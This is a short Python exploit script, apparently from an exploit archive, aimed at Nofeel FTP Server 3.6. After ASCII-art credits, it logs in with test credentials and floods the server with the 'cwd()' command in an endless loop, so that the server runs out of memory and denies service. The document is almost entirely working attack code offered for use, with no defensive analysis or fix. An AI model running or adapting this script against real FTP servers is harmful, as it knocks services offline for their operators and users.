Nofeel FTP Server 3.6 Memory Consumption

`#!/usr/bin/python  
#   
# ------ | ______ _____ (--, __*__ ______  
# |____| | | | | | ! ) | | |  
# [ | |` | | <> | |-----> |__/ | | | ]  
# | .. | |____! |____| |____ |\ | |-----|  
# | _| \ ----- | ::: |  
# | | \  
# |_____| | \  
# |  
# |  
# ,|.  
# / | \  
# | | |  
# | _ |  
# `._\/.\/_,'  
# _( 8 )_  
# / '_ _' \  
# | /{_}\ |  
# ` | " | `  
# | |  
#  
#  
# [+] Application : Nofeel FTP Server V3.6  
#  
# [+] Vendor URL : http://www.nftpserver.com/  
#  
# [+] Bug : Nofeel FTP Server (CWD) Remote Memory Consumption Exploit  
#  
# [+] Author : His0k4  
#  
# [+] Greetings : All friends & Muslims Hackers (dz)  
# www.snakespc.com  
#---------------------------------------------------------------------------------  
  
import socket  
import struct  
import time  
  
try:  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print "\n[*] Nofeel FTP Server Remote Memory Consumption Exploit"  
print "[*] Author: His0k4\r\n"  
connect=s.connect(('127.0.0.1',21))  
s.recv(1024)  
print "[*] Sending Username"  
time.sleep(1)  
s.send('USER test\r\n')  
s.recv(1024)  
print "[+] Sending Password"  
time.sleep(1)  
s.send('PASS ftp\r\n')  
s.recv(1024)  
print "[*] Sending evil command"  
time.sleep(1)  
while (1):  
s.send('cwd()\r\n')  
s.recv(1024)  
s.send('quit\r\n')  
s.recv(1024)  
except:  
print "Can't connect to ftp"  
  
`